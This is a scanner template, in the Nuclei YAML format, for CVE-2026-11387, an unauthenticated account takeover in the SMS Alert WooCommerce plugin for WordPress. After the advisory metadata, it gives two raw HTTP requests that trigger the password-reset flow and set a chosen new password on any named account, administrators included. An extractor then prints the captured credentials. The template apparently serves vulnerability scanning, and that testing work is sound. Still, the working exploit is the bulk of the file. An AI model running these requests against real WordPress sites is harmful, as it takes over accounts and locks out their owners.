SMS Alert – SMS & OTP for WooCommerce - Privilege Escalation

id: CVE-2026-11387

info:
  name: SMS Alert – SMS & OTP for WooCommerce - Privilege Escalation
  author: str4k3r
  severity: critical
  description: |
    The SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.9.5. This is due to the plugin not properly validating a user's identity prior to updating their details like reset the password of any user account, including administrators, and gain full access to those accounts. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account. This is only vulnerable on sites with OTP verification for password resets enabled, and where the administrator (or other user) has set a phone number for OTP verification.
  impact: |
    Unauthenticated attackers can reset passwords and take over user accounts, including administrators, leading to full account compromise.
  remediation: |
    Update to the latest version of the plugin.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-11387
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c31906da-f2fd-40ac-86e0-3f1ed0409d0c?source=cve
    - https://plugins.trac.wordpress.org/changeset/3587983/sms-alert
    - https://wordpress.org/plugins/sms-alert/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-11387
    epss-score: 0.02208
    epss-percentile: 0.82726
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    vendor: cozyvision1
    product: sms-alert
  tags: cve,cve2026,wordpress,wp-plugin,sms-alert,auth-bypass,account-takeover

variables:
  username: ""
  new_password: "CVE11387-{{rand_base(16)}}"

http:
  - raw:
      - |
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_login={{url_encode(username)}}&wc_reset_password=1

      - |
        POST /?option=smsalert-change-password-form HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option=smsalert-change-password-form&smsalert_user_newpwd={{url_encode(new_password)}}&smsalert_user_cnfpwd={{url_encode(new_password)}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "password-reset=true"

      - type: status
        status:
          - 302


    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + " | New Password: " + new_password'